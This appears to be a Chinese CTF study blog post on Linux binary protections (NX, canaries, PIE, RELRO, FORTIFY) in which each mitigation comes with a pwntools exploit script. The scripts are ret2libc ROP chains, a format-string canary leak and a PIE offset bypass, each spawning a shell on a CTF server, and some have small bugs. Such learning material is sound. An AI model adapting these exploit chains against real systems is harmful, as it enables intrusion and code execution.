Linux保护机制

文章发布时间:

最后更新时间:

矛与盾
NX
数据不可执行。原理是将数据所在内存页标识为不可执行,防止因为程序运行出现溢出而使得攻击者的shellcode可能会在数据区尝试执行的情况。NX在咱屡战屡败的经典栈溢出实验中有接触过,NX是对栈和堆的一种保护机制。实验需要关闭NX和地址随机化,否则执行shellcode时,CPU就会抛出异常,而不是去执行恶意指令。
Linux系统叫做NX,Windows系统中类似的机制叫DEP(Data Execute Prevention)。
绕过方式:ret2libc
例题:[BJDCTF 2020]babyrop
本题没给libc,如果给了libc可以采用elf=ELF[‘libc.so’]直接读地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
import sgtlibc
elf=ELF('/home/str1k3/桌面/babyrop')
#elf=ELF('./libc.so')
p = remote('1.14.71.254',28013)
pop_rdi_addr = 0x400733
ret_addr = 0x4004c9
main_addr = 0x4006AD
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'a'*0x20+b'b'*8+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('story!\n',payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\00'))
log.info("puts addr is :%x"%puts_addr)
s = sgtlibc.Searcher()
s.add_condition('puts',puts_addr)
s.dump(db_index=6) # search libc , if returns multi-result ,default use index-0's result

system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
puts_addr_ = s.get_address(sgtlibc.s_puts)

print(hex(system_addr), hex(binsh_addr), hex(puts_addr_))
libc_base = puts_addr - puts_addr_
system = libc_base + system_addr
bin_sh = libc_base + binsh_addr

payload = b'a'*0x20+b'b'*8 + p64(ret_addr) +p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
p.sendlineafter('story!\n',payload)
p.interactive()

也可以用LibcSearcher,找出来的libc版本不一定对,多试几次
贴个LibcSearcher的板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
io = process('./ezrop64')
#io = remote('node3.anna.nssctf.cn',28173)
elf=ELF('./ezrop64')
padding = 0x100+0x08

pop_rdi_ret = 0x4012a3
ret_addr =0x40101a
def rl(a):
io.recvuntil(a)
rl(b'0x')
puts_addr = int(io.recv(12), 16)
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
print('puts_addr:',hex(puts_addr))
print('libc_base:',hex(libc_base))
print('system_addr:',hex(system_addr))
print('bin_addr:',hex(bin_addr))
#gdb.attach(io)
payload2 = b'a'* padding + p64(ret_addr)+ p64(pop_rdi_ret) + p64(bin_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

Stack Canary
栈保护。栈溢出保护是一种缓冲区溢出攻击缓解手段。启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
简单来说就是通过验证cookie,来判断执行的代码是不是恶意代码。
cannary通常可分为3类:
1.Terminator canaries:由于字符串操作不当可造成栈溢出,而字符串可以被Null(“\x00”)所截断,于是Terminator canaries将低位设置为”\x00“,可以防止被泄露,也可以防止被伪造。截断字符还可包括CR(0x0d)、LF(0x0a)、EOF(0xff)。
2.Randon canaries:为防止canary被攻击者猜到,Randon canaries通常在程序初始化时生成,并保存在相对安全的地方。随机数通常由/dev/urandom生成,有时也会使用当前时间的哈希。
3.Randon XOR canaries:与Randon canaries类似,但多了一个XOR操作,这样无论是canary被篡改还是与之XOR的控制数据被篡改,都会发生错误。
**例:[BJDCTF 2020]babyrop2 **
查查保护

gift给了格式化字符串漏洞,可以泄露canary

尝试泄露canary

canary的值位于rbp-0x08处,即rbp-0x08 = 0x20 - 0x08 = 0x18

在这里溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

io = remote("node4.anna.nssctf.cn",28668)
elf = ELF("./bjdctf_2020_babyrop2")

main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
#ROPgadget
rdi = 0x0000000000400993 #: pop rdi ; ret

io.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)
#泄露puts函数地址
payload = (0x20-0x08)*'a'+p64(canary)+'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)
puts_addr = u64(io.recv(6).ljust(8,"\x00"))
#ret2libc
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload = (0x20-0x08)*'a'+p64(canary)+'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\n",payload)

io.interactive()

PIE / ASLR
地址随机化。就是保证同一个程序任意两次运行时的堆栈基址是不同的。如果堆栈基址不变会怎样?不变就可能被攻击,因为攻击者能确认程序的内存地址,然后通过覆盖返回地址在等手段执行恶意代码。咱屡战屡败的经典栈溢出实验就是通过覆盖返回地址执行恶意代码。

点击图片可查看完整电子表格
pie的特点:pie保护下,地址后三位不变,相对地址不变,可以利用该特点来绕过pie。
例:[NISACTF 2022]ezpie

存在溢出
得到相对地址,即shell_addr = main_addr + 0x80F - 0x770
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'

# p = process("./ezpie")
io = remote('1.14.71.254', 28335)


io.recvuntil('0x')
main_addr = int(p.recv(8), 16)
print('[+]main_addr: ', hex(main_addr))
shell_addr = main_addr + 0x80F - 0x770
print('[+]shell_addr: ', hex(shell_addr))
payload = b'a'*(0x28 + 4) + p32(shell_addr)


io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()

Relro
只读重定位。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT攻击。在Linux中有”Partial RELRO” “Full RELRO”两种模式,默认开启Partical RELRO,开启Partical RELRO时,GOT是可写的,开启 FULL RELRO 时,GOT表是只读的。
主要用来保护重定位表段对应数据区域,默认可写
Partial RELRO: got表不可写,got.plt可写
Full RELRO: got表,got.plt不可写
部分RELRO 易受到攻击,例如攻击者可以修改atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
参考:https://www.zhihu.com/question/21249496
FORTIFY
在编译的时候检查源码是否存在缓冲区溢出等错误。
简单地说,加了这个保护之后,一些敏感函数如read, fgets,memcpy, printf等等可能导致漏洞出现的函数都会被替换成__read_chk,__fgets_chk, __memcpy_chk, __printf_chk等。
这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,通过检查诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。
##BRATH
程序运行时的环境变量,运行时所需要的共享库文件优先从该目录寻找,可以fake lib造成攻击。
源码分享,来自《CTF竞赛权威指南——pwn篇》
链接:https://pan.baidu.com/s/1r2v-73lAK-PlUQpAnPV4iw
提取码:1145